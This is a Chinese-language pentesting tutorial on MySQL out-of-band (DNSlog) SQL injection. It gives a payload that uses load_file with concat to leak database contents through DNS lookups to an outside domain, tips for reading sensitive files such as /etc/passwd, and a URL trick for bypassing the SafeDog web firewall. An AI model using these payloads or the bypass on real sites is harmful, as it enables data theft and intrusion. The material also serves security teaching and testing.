MySQL注入 —— DNS(log)注入
每日一句:
实践出真知,渗透测试的精髓就是测试,不断的测试
主要内容:
~DNSLOG实战注意
~DNSLOG的使用场景
~DNSLOG的函数解析
一、DNSLOG的函数解析
1,一些知识
DNS(协议 域名 -> IP转换)
日志:基本上所有程序都会记录日志
DNS 他实际上也是有日志的
2,函数用法:
select load_file(路径); //这个函数用于读取文件内容,并返回输出
例如:select load_file(c:/d/1.txt)
路径可以是绝对也可以是相对,
注意mysql执行的相对路径是 mysql/data/下 并不是mysql文件夹下
3,若load_file无法读取文件,去改一下设置:
在mysql文件下my.ini的最下面加一行
secure_file_priv=
敏感文件:
Linux /etc/passwd
Win C:/windows/win.ini
知道需不需要更改配置,直接去试试读取敏感文件
select load_file('c:/windows/win.ini');
4,UNC路径
UNC: 简单的说,就是网络(主要是局域网)上共享的资源
格式:
\\servername\sharename,其中servername是服务器名。sharename是共享资源的名称。
如何共享:
首先创建文件夹,右键共享,高级共享。在以上选项可选时依次执行。
如何访问:
在同网络中,输入\\ + 对方的ip或+对方的主机名即可访问对方共享的文件夹
例如:
jkl计算机的名为a123的共享文件夹,
用UNC表示:
\\jkl\a123
我们熟知的命令行访问网上邻居,实际上应该称作UNC路径访问法
本质上就是win上的一种服务,Linux上是没有的
二、DNSLOG的使用场景
~在某些无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,
这个时候就可以通过DNSlog把想获得的数据外带出来
~对于盲注,常见的方法就是二分法去一个个猜,但是这个方法麻烦不说,
还很容易因为数据请求频繁导致被ban
所以可以将select到的数据发送给一个url,利用dns解析产生的记录日志来查看数据
0,首先知道,sql语句中有种东西叫做子查询
1,正常的语句:
select load_file('//a.bbb.org/abc')
2,拼接了恶意语句:
select load_file(concat('//',(select database()),'.bbb.org/abc')) //子查询语句优先执行
结果:
select load_file(//数据库名字.bbb.org/abc)
这样去解析访问 //数据库名字.bbb.org/abc 这个地址,进而在日志下留下痕迹
我们如果可以访问这个日志,就可以知道数据库的名字
进而,进行各种注入 和显错注入几乎没有区别,这就很牛逼了
三、DNSLOG实战注意
1,load_file函数,不要局限于注入测试
不要忘记他本身就是一个挺bug的功能,也许运气好
一读就打开了一个敏感文件
2,select database()那个地方,只能拼接一个字符串,
假设你读 select *from admin 有很多数据,大概率会爆错
所以,记得
~使用where限制条件
~limit x 1
~group_concat() //临时想起来的,行不行,实战自行测试吧
3,在哪查看DNS日志记录
有已经被搭好的平台:ceye.io
4,ping的时候,乱输入也可以ping通
遇到了泛解析,
什么是泛解析?
遇到不认识的统统解析到一个地方
5,遇到Waf狗不要怕
有可能因为种种原因导致狗不是最新版,可以直接搜一下:
绕安全狗sql语句
6,绕狗新姿势
原url: xxx.php?id=1 //在这直接and sleep(3)可能会被拦截
新姿势:xxx.php/suibian.txt?id=1 and sleep(3) 基本就可以绕过
原理:简单说,利用安全狗对 txt 的信任,他认为txt是个安全的,黑名单的问题
为什么随便加的可以正常访问?
这是因为web容器的原因,他读取到错误文件,认为是用户写错了,自动向前解析
7,总结一下
dns注入的前提是:
~攻击站点有注入点
~读取文件函数开启
注意:注入点在cookie,还是get,或者post都行 和这没有联系